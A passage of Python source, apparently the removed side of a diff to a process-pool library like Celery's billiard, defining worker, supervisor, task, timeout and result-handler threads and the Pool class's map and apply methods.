SoftTimeLimitExceeded() - -# -# Code run by worker processes -# - - -class Worker: - - def __init__(self, inq, outq, synq=None, initializer=None, initargs=(), - maxtasks=None, sentinel=None, on_exit=None, - sigprotection=True, wrap_exception=True, - max_memory_per_child=None, on_ready_counter=None): - assert maxtasks is None or (type(maxtasks) == int and maxtasks > 0) - self.initializer = initializer - self.initargs = initargs - self.maxtasks = maxtasks - self.max_memory_per_child = max_memory_per_child - self._shutdown = sentinel - self.on_exit = on_exit - self.sigprotection = sigprotection - self.inq, self.outq, self.synq = inq, outq, synq - self.wrap_exception = wrap_exception # XXX cannot disable yet - self.on_ready_counter = on_ready_counter - self.contribute_to_object(self) - - def contribute_to_object(self, obj): - obj.inq, obj.outq, obj.synq = self.inq, self.outq, self.synq - obj.inqW_fd = self.inq._writer.fileno() # inqueue write fd - obj.outqR_fd = self.outq._reader.fileno() # outqueue read fd - if self.synq: - obj.synqR_fd = self.synq._reader.fileno() # synqueue read fd - obj.synqW_fd = self.synq._writer.fileno() # synqueue write fd - obj.send_syn_offset = _get_send_offset(self.synq._writer) - else: - obj.synqR_fd = obj.synqW_fd = obj._send_syn_offset = None - obj._quick_put = self.inq._writer.send - obj._quick_get = self.outq._reader.recv - obj.send_job_offset = _get_send_offset(self.inq._writer) - return obj - - def __reduce__(self): - return self.__class__, ( - self.inq, self.outq, self.synq, self.initializer, - self.initargs, self.maxtasks, self._shutdown, self.on_exit, - self.sigprotection, self.wrap_exception, self.max_memory_per_child, - self.on_ready_counter - ) - - def __call__(self): - _exit = sys.exit - _exitcode = [None] - - def exit(status=None): - _exitcode[0] = status - return _exit(status) - sys.exit = exit - - pid = os.getpid() - - self._make_child_methods() - self.after_fork() - self.on_loop_start(pid=pid) # callback on loop start - try: - sys.exit(self.workloop(pid=pid)) - except Exception as exc: - error('Pool process %r error: %r', self, exc, exc_info=1) - self._do_exit(pid, _exitcode[0], exc) - finally: - self._do_exit(pid, _exitcode[0], None) - - def _do_exit(self, pid, exitcode, exc=None): - if exitcode is None: - exitcode = EX_FAILURE if exc else EX_OK - - if self.on_exit is not None: - self.on_exit(pid, exitcode) - - if sys.platform != 'win32': - try: - self.outq.put((DEATH, (pid, exitcode))) - time.sleep(1) - finally: - os._exit(exitcode) - else: - os._exit(exitcode) - - def on_loop_start(self, pid): - pass - - def prepare_result(self, result): - return result - - def workloop(self, debug=debug, now=monotonic, pid=None): - pid = pid or os.getpid() - put = self.outq.put - inqW_fd = self.inqW_fd - synqW_fd = self.synqW_fd - maxtasks = self.maxtasks - max_memory_per_child = self.max_memory_per_child or 0 - prepare_result = self.prepare_result - - wait_for_job = self.wait_for_job - _wait_for_syn = self.wait_for_syn - - def wait_for_syn(jid): - i = 0 - while 1: - if i > 60: - error('!!!WAIT FOR ACK TIMEOUT: job:%r fd:%r!!!', - jid, self.synq._reader.fileno(), exc_info=1) - req = _wait_for_syn() - if req: - type_, args = req - if type_ == NACK: - return False - assert type_ == ACK - return True - i += 1 - - completed = 0 - try: - while maxtasks is None or (maxtasks and completed < maxtasks): - req = wait_for_job() - if req: - type_, args_ = req - assert type_ == TASK - job, i, fun, args, kwargs = args_ - put((ACK, (job, i, now(), pid, synqW_fd))) - if _wait_for_syn: - confirm = wait_for_syn(job) - if not confirm: - continue # received NACK - try: - result = (True, prepare_result(fun(*args, **kwargs))) - except Exception: - result = (False, ExceptionInfo()) - try: - put((READY, (job, i, result, inqW_fd))) - except Exception as exc: - _, _, tb = sys.exc_info() - try: - wrapped = MaybeEncodingError(exc, result[1]) - einfo = ExceptionInfo(( - MaybeEncodingError, wrapped, tb, - )) - put((READY, (job, i, (False, einfo), inqW_fd))) - finally: - del(tb) - completed += 1 - if max_memory_per_child > 0: - used_kb = mem_rss() - if used_kb <= 0: - error('worker unable to determine memory usage') - if used_kb > 0 and used_kb > max_memory_per_child: - warning(MAXMEM_USED_FMT.format( - used_kb, max_memory_per_child)) - return EX_RECYCLE - - debug('worker exiting after %d tasks', completed) - if maxtasks: - return EX_RECYCLE if completed == maxtasks else EX_FAILURE - return EX_OK - finally: - # Before exiting the worker, we want to ensure that that all - # messages produced by the worker have been consumed by the main - # process. This prevents the worker being terminated prematurely - # and messages being lost. - self._ensure_messages_consumed(completed=completed) - - def _ensure_messages_consumed(self, completed): - """ Returns true if all messages sent out have been received and - consumed within a reasonable amount of time """ - - if not self.on_ready_counter: - return False - - for retry in range(GUARANTEE_MESSAGE_CONSUMPTION_RETRY_LIMIT): - if self.on_ready_counter.value >= completed: - debug('ensured messages consumed after %d retries', retry) - return True - time.sleep(GUARANTEE_MESSAGE_CONSUMPTION_RETRY_INTERVAL) - warning('could not ensure all messages were consumed prior to ' - 'exiting') - return False - - def after_fork(self): - if hasattr(self.inq, '_writer'): - self.inq._writer.close() - if hasattr(self.outq, '_reader'): - self.outq._reader.close() - - if self.initializer is not None: - self.initializer(*self.initargs) - - # Make sure all exiting signals call finally: blocks. - # This is important for the semaphore to be released. - reset_signals(full=self.sigprotection) - - # install signal handler for soft timeouts. - if SIG_SOFT_TIMEOUT is not None: - signal.signal(SIG_SOFT_TIMEOUT, soft_timeout_sighandler) - - try: - signal.signal(signal.SIGINT, signal.SIG_IGN) - except AttributeError: - pass - - def _make_recv_method(self, conn): - get = conn.get - - if hasattr(conn, '_reader'): - _poll = conn._reader.poll - if hasattr(conn, 'get_payload') and conn.get_payload: - get_payload = conn.get_payload - - def _recv(timeout, loads=pickle_loads): - return True, loads(get_payload()) - else: - def _recv(timeout): # noqa - if _poll(timeout): - return True, get() - return False, None - else: - def _recv(timeout): # noqa - try: - return True, get(timeout=timeout) - except Queue.Empty: - return False, None - return _recv - - def _make_child_methods(self, loads=pickle_loads): - self.wait_for_job = self._make_protected_receive(self.inq) - self.wait_for_syn = (self._make_protected_receive(self.synq) - if self.synq else None) - - def _make_protected_receive(self, conn): - _receive = self._make_recv_method(conn) - should_shutdown = self._shutdown.is_set if self._shutdown else None - - def receive(debug=debug): - if should_shutdown and should_shutdown(): - debug('worker got sentinel -- exiting') - raise SystemExit(EX_OK) - try: - ready, req = _receive(1.0) - if not ready: - return None - except (EOFError, IOError) as exc: - if get_errno(exc) == errno.EINTR: - return None # interrupted, maybe by gdb - debug('worker got %s -- exiting', type(exc).__name__) - raise SystemExit(EX_FAILURE) - if req is None: - debug('worker got sentinel -- exiting') - raise SystemExit(EX_FAILURE) - return req - - return receive - - -# -# Class representing a process pool -# - - -class PoolThread(DummyProcess): - - def __init__(self, *args, **kwargs): - DummyProcess.__init__(self) - self._state = RUN - self._was_started = False - self.daemon = True - - def run(self): - try: - return self.body() - except RestartFreqExceeded as exc: - error("Thread %r crashed: %r", type(self).__name__, exc, - exc_info=1) - _kill(os.getpid(), TERM_SIGNAL) - sys.exit() - except Exception as exc: - error("Thread %r crashed: %r", type(self).__name__, exc, - exc_info=1) - os._exit(1) - - def start(self, *args, **kwargs): - self._was_started = True - super(PoolThread, self).start(*args, **kwargs) - - def on_stop_not_started(self): - pass - - def stop(self, timeout=None): - if self._was_started: - self.join(timeout) - return - self.on_stop_not_started() - - def terminate(self): - self._state = TERMINATE - - def close(self): - self._state = CLOSE - - -class Supervisor(PoolThread): - - def __init__(self, pool): - self.pool = pool - super().__init__() - - def body(self): - debug('worker handler starting') - - time.sleep(0.8) - - pool = self.pool - - try: - # do a burst at startup to verify that we can start - # our pool processes, and in that time we lower - # the max restart frequency. - prev_state = pool.restart_state - pool.restart_state = restart_state(10 * pool._processes, 1) - for _ in range(10): - if self._state == RUN and pool._state == RUN: - pool._maintain_pool() - time.sleep(0.1) - - # Keep maintaining workers until the cache gets drained, unless - # the pool is terminated - pool.restart_state = prev_state - while self._state == RUN and pool._state == RUN: - pool._maintain_pool() - time.sleep(0.8) - except RestartFreqExceeded: - pool.close() - pool.join() - raise - debug('worker handler exiting') - - -class TaskHandler(PoolThread): - - def __init__(self, taskqueue, put, outqueue, pool, cache): - self.taskqueue = taskqueue - self.put = put - self.outqueue = outqueue - self.pool = pool - self.cache = cache - super().__init__() - - def body(self): - cache = self.cache - taskqueue = self.taskqueue - put = self.put - - for taskseq, set_length in iter(taskqueue.get, None): - task = None - i = -1 - try: - for i, task in enumerate(taskseq): - if self._state: - debug('task handler found thread._state != RUN') - break - try: - put(task) - except IOError: - debug('could not put task on queue') - break - except Exception: - job, ind = task[:2] - try: - cache[job]._set(ind, (False, ExceptionInfo())) - except KeyError: - pass - else: - if set_length: - debug('doing set_length()') - set_length(i + 1) - continue - break - except Exception: - job, ind = task[:2] if task else (0, 0) - if job in cache: - cache[job]._set(ind + 1, (False, ExceptionInfo())) - if set_length: - util.debug('doing set_length()') - set_length(i + 1) - else: - debug('task handler got sentinel') - - self.tell_others() - - def tell_others(self): - outqueue = self.outqueue - put = self.put - pool = self.pool - - try: - # tell result handler to finish when cache is empty - debug('task handler sending sentinel to result handler') - outqueue.put(None) - - # tell workers there is no more work - debug('task handler sending sentinel to workers') - for p in pool: - put(None) - except IOError: - debug('task handler got IOError when sending sentinels') - - debug('task handler exiting') - - def on_stop_not_started(self): - self.tell_others() - - -class TimeoutHandler(PoolThread): - - def __init__(self, processes, cache, t_soft, t_hard): - self.processes = processes - self.cache = cache - self.t_soft = t_soft - self.t_hard = t_hard - self._it = None - super().__init__() - - def _process_by_pid(self, pid): - return next(( - (proc, i) for i, proc in enumerate(self.processes) - if proc.pid == pid - ), (None, None)) - - def on_soft_timeout(self, job): - debug('soft time limit exceeded for %r', job) - process, _index = self._process_by_pid(job._worker_pid) - if not process: - return - - # Run timeout callback - job.handle_timeout(soft=True) - - try: - _kill(job._worker_pid, SIG_SOFT_TIMEOUT) - except OSError as exc: - if get_errno(exc) != errno.ESRCH: - raise - - def on_hard_timeout(self, job): - if job.ready(): - return - debug('hard time limit exceeded for %r', job) - # Remove from cache and set return value to an exception - try: - raise TimeLimitExceeded(job._timeout) - except TimeLimitExceeded: - job._set(job._job, (False, ExceptionInfo())) - else: # pragma: no cover - pass - - # Remove from _pool - process, _index = self._process_by_pid(job._worker_pid) - - # Run timeout callback - job.handle_timeout(soft=False) - - if process: - self._trywaitkill(process) - - def _trywaitkill(self, worker): - debug('timeout: sending TERM to %s', worker._name) - try: - if os.getpgid(worker.pid) == worker.pid: - debug("worker %s is a group leader. It is safe to kill (SIGTERM) the whole group", worker.pid) - os.killpg(os.getpgid(worker.pid), signal.SIGTERM) - else: - worker.terminate() - except OSError: - pass - else: - if worker._popen.wait(timeout=0.1): - return - debug('timeout: TERM timed-out, now sending KILL to %s', worker._name) - try: - if os.getpgid(worker.pid) == worker.pid: - debug("worker %s is a group leader. It is safe to kill (SIGKILL) the whole group", worker.pid) - os.killpg(os.getpgid(worker.pid), signal.SIGKILL) - else: - _kill(worker.pid, SIGKILL) - except OSError: - pass - - def handle_timeouts(self): - t_hard, t_soft = self.t_hard, self.t_soft - dirty = set() - on_soft_timeout = self.on_soft_timeout - on_hard_timeout = self.on_hard_timeout - - def _timed_out(start, timeout): - if not start or not timeout: - return False - if monotonic() >= start + timeout: - return True - - # Inner-loop - while self._state == RUN: - # Perform a shallow copy before iteration because keys can change. - # A deep copy fails (on shutdown) due to thread.lock objects. - # https://github.com/celery/billiard/issues/260 - cache = copy.copy(self.cache) - - # Remove dirty items not in cache anymore - if dirty: - dirty = set(k for k in dirty if k in cache) - - for i, job in cache.items(): - ack_time = job._time_accepted - soft_timeout = job._soft_timeout - if soft_timeout is None: - soft_timeout = t_soft - hard_timeout = job._timeout - if hard_timeout is None: - hard_timeout = t_hard - if _timed_out(ack_time, hard_timeout): - on_hard_timeout(job) - elif i not in dirty and _timed_out(ack_time, soft_timeout): - on_soft_timeout(job) - dirty.add(i) - yield - - def body(self): - while self._state == RUN: - try: - for _ in self.handle_timeouts(): - time.sleep(1.0) # don't spin - except CoroStop: - break - debug('timeout handler exiting') - - def handle_event(self, *args): - if self._it is None: - self._it = self.handle_timeouts() - try: - next(self._it) - except StopIteration: - self._it = None - - -class ResultHandler(PoolThread): - - def __init__(self, outqueue, get, cache, poll, - join_exited_workers, putlock, restart_state, - check_timeouts, on_job_ready, on_ready_counters=None): - self.outqueue = outqueue - self.get = get - self.cache = cache - self.poll = poll - self.join_exited_workers = join_exited_workers - self.putlock = putlock - self.restart_state = restart_state - self._it = None - self._shutdown_complete = False - self.check_timeouts = check_timeouts - self.on_job_ready = on_job_ready - self.on_ready_counters = on_ready_counters - self._make_methods() - super().__init__() - - def on_stop_not_started(self): - # used when pool started without result handler thread. - self.finish_at_shutdown(handle_timeouts=True) - - def _make_methods(self): - cache = self.cache - putlock = self.putlock - restart_state = self.restart_state - on_job_ready = self.on_job_ready - - def on_ack(job, i, time_accepted, pid, synqW_fd): - restart_state.R = 0 - try: - cache[job]._ack(i, time_accepted, pid, synqW_fd) - except (KeyError, AttributeError): - # Object gone or doesn't support _ack (e.g. IMAPIterator). - pass - - def on_ready(job, i, obj, inqW_fd): - if on_job_ready is not None: - on_job_ready(job, i, obj, inqW_fd) - try: - item = cache[job] - except KeyError: - return - - if self.on_ready_counters: - worker_pid = next(iter(item.worker_pids()), None) - if worker_pid and worker_pid in self.on_ready_counters: - on_ready_counter = self.on_ready_counters[worker_pid] - with on_ready_counter.get_lock(): - on_ready_counter.value += 1 - - if not item.ready(): - if putlock is not None: - putlock.release() - try: - item._set(i, obj) - except KeyError: - pass - - def on_death(pid, exitcode): - try: - os.kill(pid, TERM_SIGNAL) - except OSError as exc: - if get_errno(exc) != errno.ESRCH: - raise - - state_handlers = self.state_handlers = { - ACK: on_ack, READY: on_ready, DEATH: on_death - } - - def on_state_change(task): - state, args = task - try: - state_handlers[state](*args) - except KeyError: - debug("Unknown job state: %s (args=%s)", state, args) - self.on_state_change = on_state_change - - def _process_result(self, timeout=1.0): - poll = self.poll - on_state_change = self.on_state_change - - while 1: - try: - ready, task = poll(timeout) - except (IOError, EOFError) as exc: - debug('result handler got %r -- exiting', exc) - raise CoroStop() - - if self._state: - assert self._state == TERMINATE - debug('result handler found thread._state=TERMINATE') - raise CoroStop() - - if ready: - if task is None: - debug('result handler got sentinel') - raise CoroStop() - on_state_change(task) - if timeout != 0: # blocking - break - else: - break - yield - - def handle_event(self, fileno=None, events=None): - if self._state == RUN: - if self._it is None: - self._it = self._process_result(0) # non-blocking - try: - next(self._it) - except (StopIteration, CoroStop): - self._it = None - - def body(self): - debug('result handler starting') - try: - while self._state == RUN: - try: - for _ in self._process_result(1.0): # blocking - pass - except CoroStop: - break - finally: - self.finish_at_shutdown() - - def finish_at_shutdown(self, handle_timeouts=False): - self._shutdown_complete = True - get = self.get - outqueue = self.outqueue - cache = self.cache - poll = self.poll - join_exited_workers = self.join_exited_workers - check_timeouts = self.check_timeouts - on_state_change = self.on_state_change - - time_terminate = None - while cache and self._state != TERMINATE: - if check_timeouts is not None: - check_timeouts() - try: - ready, task = poll(1.0) - except (IOError, EOFError) as exc: - debug('result handler got %r -- exiting', exc) - return - - if ready: - if task is None: - debug('result handler ignoring extra sentinel') - continue - - on_state_change(task) - try: - join_exited_workers(shutdown=True) - except WorkersJoined: - now = monotonic() - if not time_terminate: - time_terminate = now - else: - if now - time_terminate > 5.0: - debug('result handler exiting: timed out') - break - debug('result handler: all workers terminated, ' - 'timeout in %ss', - abs(min(now - time_terminate - 5.0, 0))) - - if hasattr(outqueue, '_reader'): - debug('ensuring that outqueue is not full') - # If we don't make room available in outqueue then - # attempts to add the sentinel (None) to outqueue may - # block. There is guaranteed to be no more than 2 sentinels. - try: - for i in range(10): - if not outqueue._reader.poll(): - break - get() - except (IOError, EOFError): - pass - - debug('result handler exiting: len(cache)=%s, thread._state=%s', - len(cache), self._state) - - -class Pool: - ''' - Class which supports an async version of applying functions to arguments. - ''' - _wrap_exception = True - Worker = Worker - Supervisor = Supervisor - TaskHandler = TaskHandler - TimeoutHandler = TimeoutHandler - ResultHandler = ResultHandler - SoftTimeLimitExceeded = SoftTimeLimitExceeded - - def __init__(self, processes=None, initializer=None, initargs=(), - maxtasksperchild=None, timeout=None, soft_timeout=None, - lost_worker_timeout=None, - max_restarts=None, max_restart_freq=1, - on_process_up=None, - on_process_down=None, - on_timeout_set=None, - on_timeout_cancel=None, - threads=True, - semaphore=None, - putlocks=False, - allow_restart=False, - synack=False, - on_process_exit=None, - context=None, - max_memory_per_child=None, - enable_timeouts=False, - **kwargs): - self._ctx = context or get_context() - self.synack = synack - self._setup_queues() - self._taskqueue = Queue() - self._cache = {} - self._state = RUN - self.timeout = timeout - self.soft_timeout = soft_timeout - self._maxtasksperchild = maxtasksperchild - self._max_memory_per_child = max_memory_per_child - self._initializer = initializer - self._initargs = initargs - self._on_process_exit = on_process_exit - self.lost_worker_timeout = lost_worker_timeout or LOST_WORKER_TIMEOUT - self.on_process_up = on_process_up - self.on_process_down = on_process_down - self.on_timeout_set = on_timeout_set - self.on_timeout_cancel = on_timeout_cancel - self.threads = threads - self.readers = {} - self.allow_restart = allow_restart - - self.enable_timeouts = bool( - enable_timeouts or - self.timeout is not None or - self.soft_timeout is not None - ) - - if soft_timeout and SIG_SOFT_TIMEOUT is None: - warnings.warn(UserWarning( - "Soft timeouts are not supported: " - "on this platform: It does not have the SIGUSR1 signal.", - )) - soft_timeout = None - - self._processes = self.cpu_count() if processes is None else processes - self.max_restarts = max_restarts or round(self._processes * 100) - self.restart_state = restart_state(max_restarts, max_restart_freq or 1) - - if initializer is not None and not callable(initializer): - raise TypeError('initializer must be a callable') - - if on_process_exit is not None and not callable(on_process_exit): - raise TypeError('on_process_exit must be callable') - - self._Process = self._ctx.Process - - self._pool = [] - self._poolctrl = {} - self._on_ready_counters = {} - self.putlocks = putlocks - self._putlock = semaphore or LaxBoundedSemaphore(self._processes) - for i in range(self._processes): - self._create_worker_process(i) - - self._worker_handler = self.Supervisor(self) - if threads: - self._worker_handler.start() - - self._task_handler = self.TaskHandler(self._taskqueue, - self._quick_put, - self._outqueue, - self._pool, - self._cache) - if threads: - self._task_handler.start() - - self.check_timeouts = None - - # Thread killing timedout jobs. - if self.enable_timeouts: - self._timeout_handler = self.TimeoutHandler( - self._pool, self._cache, - self.soft_timeout, self.timeout, - ) - self._timeout_handler_mutex = Lock() - self._timeout_handler_started = False - self._start_timeout_handler() - # If running without threads, we need to check for timeouts - # while waiting for unfinished work at shutdown. - if not threads: - self.check_timeouts = self._timeout_handler.handle_event - else: - self._timeout_handler = None - self._timeout_handler_started = False - self._timeout_handler_mutex = None - - # Thread processing results in the outqueue. - self._result_handler = self.create_result_handler() - self.handle_result_event = self._result_handler.handle_event - - if threads: - self._result_handler.start() - - self._terminate = Finalize( - self, self._terminate_pool, - args=(self._taskqueue, self._inqueue, self._outqueue, - self._pool, self._worker_handler, self._task_handler, - self._result_handler, self._cache, - self._timeout_handler, - self._help_stuff_finish_args()), - exitpriority=15, - ) - - def Process(self, *args, **kwds): - return self._Process(*args, **kwds) - - def WorkerProcess(self, worker): - return worker.contribute_to_object(self.Process(target=worker)) - - def create_result_handler(self, **extra_kwargs): - return self.ResultHandler( - self._outqueue, self._quick_get, self._cache, - self._poll_result, self._join_exited_workers, - self._putlock, self.restart_state, self.check_timeouts, - self.on_job_ready, on_ready_counters=self._on_ready_counters, - **extra_kwargs - ) - - def on_job_ready(self, job, i, obj, inqW_fd): - pass - - def _help_stuff_finish_args(self): - return self._inqueue, self._task_handler, self._pool - - def cpu_count(self): - try: - return cpu_count() - except NotImplementedError: - return 1 - - def handle_result_event(self, *args): - return self._result_handler.handle_event(*args) - - def _process_register_queues(self, worker, queues): - pass - - def _process_by_pid(self, pid): - return next(( - (proc, i) for i, proc in enumerate(self._pool) - if proc.pid == pid - ), (None, None)) - - def get_process_queues(self): - return self._inqueue, self._outqueue, None - - def _create_worker_process(self, i): - sentinel = self._ctx.Event() if self.allow_restart else None - inq, outq, synq = self.get_process_queues() - on_ready_counter = self._ctx.Value('i') - w = self.WorkerProcess(self.Worker( - inq, outq, synq, self._initializer, self._initargs, - self._maxtasksperchild, sentinel, self._on_process_exit, - # Need to handle all signals if using the ipc semaphore, - # to make sure the semaphore is released. - sigprotection=self.threads, - wrap_exception=self._wrap_exception, - max_memory_per_child=self._max_memory_per_child, - on_ready_counter=on_ready_counter, - )) - self._pool.append(w) - self._process_register_queues(w, (inq, outq, synq)) - w.name = w.name.replace('Process', 'PoolWorker') - w.daemon = True - w.index = i - w.start() - self._poolctrl[w.pid] = sentinel - self._on_ready_counters[w.pid] = on_ready_counter - if self.on_process_up: - self.on_process_up(w) - return w - - def process_flush_queues(self, worker): - pass - - def _join_exited_workers(self, shutdown=False): - """Cleanup after any worker processes which have exited due to - reaching their specified lifetime. Returns True if any workers were - cleaned up. - """ - now = None - # The worker may have published a result before being terminated, - # but we have no way to accurately tell if it did. So we wait for - # _lost_worker_timeout seconds before we mark the job with - # WorkerLostError. - for job in [job for job in list(self._cache.values()) - if not job.ready() and job._worker_lost]: - now = now or monotonic() - lost_time, lost_ret = job._worker_lost - if now - lost_time > job._lost_worker_timeout: - self.mark_as_worker_lost(job, lost_ret) - - if shutdown and not len(self._pool): - raise WorkersJoined() - - cleaned, exitcodes = {}, {} - for i in reversed(range(len(self._pool))): - worker = self._pool[i] - exitcode = worker.exitcode - popen = worker._popen - if popen is None or exitcode is not None: - # worker exited - debug('Supervisor: cleaning up worker %d', i) - if popen is not None: - worker.join() - debug('Supervisor: worked %d joined', i) - cleaned[worker.pid] = worker - exitcodes[worker.pid] = exitcode - if exitcode not in (EX_OK, EX_RECYCLE) and \ - not getattr(worker, '_controlled_termination', False): - error( - 'Process %r pid:%r exited with %r', - worker.name, worker.pid, human_status(exitcode), - exc_info=0, - ) - self.process_flush_queues(worker) - del self._pool[i] - del self._poolctrl[worker.pid] - del self._on_ready_counters[worker.pid] - if cleaned: - all_pids = [w.pid for w in self._pool] - for job in list(self._cache.values()): - acked_by_gone = next( - (pid for pid in job.worker_pids() - if pid in cleaned or pid not in all_pids), - None - ) - # already accepted by process - if acked_by_gone: - self.on_job_process_down(job, acked_by_gone) - if not job.ready(): - exitcode = exitcodes.get(acked_by_gone) or 0 - proc = cleaned.get(acked_by_gone) - if proc and getattr(proc, '_job_terminated', False): - job._set_terminated(exitcode) - else: - self.on_job_process_lost( - job, acked_by_gone, exitcode, - ) - else: - # started writing to - write_to = job._write_to - # was scheduled to write to - sched_for = job._scheduled_for - - if write_to and not write_to._is_alive(): - self.on_job_process_down(job, write_to.pid) - elif sched_for and not sched_for._is_alive(): - self.on_job_process_down(job, sched_for.pid) - - for worker in cleaned.values(): - if self.on_process_down: - if not shutdown: - self._process_cleanup_queues(worker) - self.on_process_down(worker) - return list(exitcodes.values()) - return [] - - def on_partial_read(self, job, worker): - pass - - def _process_cleanup_queues(self, worker): - pass - - def on_job_process_down(self, job, pid_gone): - pass - - def on_job_process_lost(self, job, pid, exitcode): - job._worker_lost = (monotonic(), exitcode) - - def mark_as_worker_lost(self, job, exitcode): - try: - raise WorkerLostError( - 'Worker exited prematurely: {0} Job: {1}.'.format( - human_status(exitcode), job._job), - ) - except WorkerLostError: - job._set(None, (False, ExceptionInfo())) - else: # pragma: no cover - pass - - def __enter__(self): - return self - - def __exit__(self, *exc_info): - return self.terminate() - - def on_grow(self, n): - pass - - def on_shrink(self, n): - pass - - def shrink(self, n=1): - for i, worker in enumerate(self._iterinactive()): - self._processes -= 1 - if self._putlock: - self._putlock.shrink() - worker.terminate_controlled() - self.on_shrink(1) - if i >= n - 1: - break - else: - raise ValueError("Can't shrink pool. All processes busy!") - - def grow(self, n=1): - for i in range(n): - self._processes += 1 - if self._putlock: - self._putlock.grow() - self.on_grow(n) - - def _iterinactive(self): - for worker in self._pool: - if not self._worker_active(worker): - yield worker - - def _worker_active(self, worker): - for job in self._cache.values(): - if worker.pid in job.worker_pids(): - return True - return False - - def _repopulate_pool(self, exitcodes): - """Bring the number of pool processes up to the specified number, - for use after reaping workers which have exited. - """ - for i in range(self._processes - len(self._pool)): - if self._state != RUN: - return - try: - if exitcodes and exitcodes[i] not in (EX_OK, EX_RECYCLE): - self.restart_state.step() - except IndexError: - self.restart_state.step() - self._create_worker_process(self._avail_index()) - debug('added worker') - - def _avail_index(self): - assert len(self._pool) < self._processes - indices = set(p.index for p in self._pool) - return next(i for i in range(self._processes) if i not in indices) - - def did_start_ok(self): - return not self._join_exited_workers() - - def _maintain_pool(self): - """"Clean up any exited workers and start replacements for them. - """ - joined = self._join_exited_workers() - self._repopulate_pool(joined) - for i in range(len(joined)): - if self._putlock is not None: - self._putlock.release() - - def maintain_pool(self): - if self._worker_handler._state == RUN and self._state == RUN: - try: - self._maintain_pool() - except RestartFreqExceeded: - self.close() - self.join() - raise - except OSError as exc: - if get_errno(exc) == errno.ENOMEM: - raise MemoryError from exc - raise - - def _setup_queues(self): - self._inqueue = self._ctx.SimpleQueue() - self._outqueue = self._ctx.SimpleQueue() - self._quick_put = self._inqueue._writer.send - self._quick_get = self._outqueue._reader.recv - - def _poll_result(timeout): - if self._outqueue._reader.poll(timeout): - return True, self._quick_get() - return False, None - self._poll_result = _poll_result - - def _start_timeout_handler(self): - # ensure more than one thread does not start the timeout handler - # thread at once. - if self.threads and self._timeout_handler is not None: - with self._timeout_handler_mutex: - if not self._timeout_handler_started: - self._timeout_handler_started = True - self._timeout_handler.start() - - def apply(self, func, args=(), kwds={}): - ''' - Equivalent of `func(*args, **kwargs)`. - ''' - if self._state == RUN: - return self.apply_async(func, args, kwds).get() - - def starmap(self, func, iterable, chunksize=None): - ''' - Like `map()` method but the elements of the `iterable` are expected to - be iterables as well and will be unpacked as arguments. Hence - `func` and (a, b) becomes func(a, b). - ''' - if self._state == RUN: - return self._map_async(func, iterable, - starmapstar, chunksize).get() - - def starmap_async(self, func, iterable, chunksize=None, - callback=None, error_callback=None): - ''' - Asynchronous version of `starmap()` method. - ''' - if self._state == RUN: - return self._map_async(func, iterable, starmapstar, chunksize, - callback, error_callback) - - def map(self, func, iterable, chunksize=None): - ''' - Apply `func` to each element in `iterable`, collecting the results - in a list that is returned. - ''' - if self._state == RUN: - return self.map_async(func, iterable, chunksize).get() - - def imap(self, func, iterable, chunksize=1, lost_worker_timeout=None): - ''' - Equivalent of `map()` -- can be MUCH slower than `Pool.map()`. - ''' - if self._state != RUN: - return - lost_worker_timeout = lost_worker_timeout or self.lost_worker_timeout - if chunksize == 1: - result = IMapIterator(self._cache, - lost_worker_timeout=lost_worker_timeout) - self._taskqueue.put(( - ((TASK, (result._job, i, func, (x,), {})) - for i, x in enumerate(iterable)), - result._set_length, - )) - return result - else: - assert chunksize > 1 - task_batches = Pool._get_tasks(func, iterable, chunksize) - result = IMapIterator(self._cache, - lost_worker_timeout=lost_worker_timeout) - self._taskqueue.put(( - ((TASK, (result._job, i, mapstar, (x,), {})) - for i, x in enumerate(task_batches)), - result._set_length, - )) - return (item for chunk in result for item in chunk) - - def imap_unordered(self, func, iterable, chunksize=1, - lost_worker_timeout=None): - ''' - Like `imap()` method but ordering of results is arbitrary. - ''' - if self._state != RUN: - return - lost_worker_timeout = lost_worker_timeout or self.lost_worker_timeout - if chunksize == 1: - result = IMapUnorderedIterator( - self._cache, lost_worker_timeout=lost_worker_timeout, - ) - self._taskqueue.put(( - ((TASK, (result._job, i, func, (x,), {})) - for i, x in enumerate(iterable)), - result._set_length, - )) - return result - else: - assert chunksize > 1 - task_batches = Pool._get_tasks(func, iterable, chunksize) - result = IMapUnorderedIterator( - self._cache, lost_worker_timeout=lost_worker_timeout, - ) - self._taskqueue.put(( - ((TASK, (result._job, i, mapstar, (x,), {})) - for i, x in enumerate(task_batches)), - result._set_length, - )) - return (item for chunk in result for item in chunk) - - def apply_async(self, func, args=(), kwds={}, - callback=None, error_callback=None, accept_callback=None, - timeout_callback=None, waitforslot=None, - soft_timeout=None, timeout=None, lost_worker_timeout=None, - callbacks_propagate=(), - correlation_id=None): - ''' - Asynchronous equivalent of `apply()` method. - - Callback is called when the functions return value is ready. - The accept callback is called when the job is accepted to be executed. - - Simplified the flow is like this: - - >>> def apply_async(func, args, kwds, callback, accept_callback): - ... if accept_callback: - ... accept_callback() - ... retval = func(*args, **kwds) - ... if callback: - ... callback(retval) - - ''' - if self._state != RUN: - return - soft_timeout = soft_timeout or self.soft_timeout - timeout = timeout or self.timeout - lost_worker_timeout = lost_worker_timeout or self.lost_worker_timeout - if soft_timeout and SIG_SOFT_TIMEOUT is None: - warnings.warn(UserWarning( - "Soft timeouts are not supported: " - "on this platform: It does not have the SIGUSR1 signal.", - )) - soft_timeout = None - if self._state == RUN: - waitforslot = self.putlocks if waitforslot is None else waitforslot - if waitforslot and self._putlock is not None: - self._putlock.acquire() - result = ApplyResult( - self._cache, callback, accept_callback, timeout_callback, - error_callback, soft_timeout, timeout, lost_worker_timeout, - on_timeout_set=self.on_timeout_set, - on_timeout_cancel=self.on_timeout_cancel, - callbacks_propagate=callbacks_propagate, - send_ack=self.send_ack if self.synack else None, - correlation_id=correlation_id, - ) - if timeout or soft_timeout: - # start the timeout handler thread when required. - self._start_timeout_handler() - if self.threads: - self._taskqueue.put(([(TASK, (result._job, None, - func, args, kwds))], None)) - else: - self._quick_put((TASK, (result._job, None, func, args, kwds))) - return result - - def send_ack(self, response, job, i, fd): - pass - - def terminate_job(self, pid, sig=None): - proc, _ = self._process_by_pid(pid) - if proc is not None: - try: - _kill(pid, sig or TERM_SIGNAL) - except OSError as exc: - if get_errno(exc) != errno.ESRCH: - raise - else: - proc._controlled_termination = True - proc._job_terminated = True - - def map_async(self, func, iterable, chunksize=None, - callback=None, error_callback=None): - ''' - Asynchronous equivalent of `map()` method. - ''' - return self._map_async( - func, iterable, mapstar, chunksize, callback, error_callback, - ) - - def _map_async(self, func, iterable, mapper, chunksize=None, - 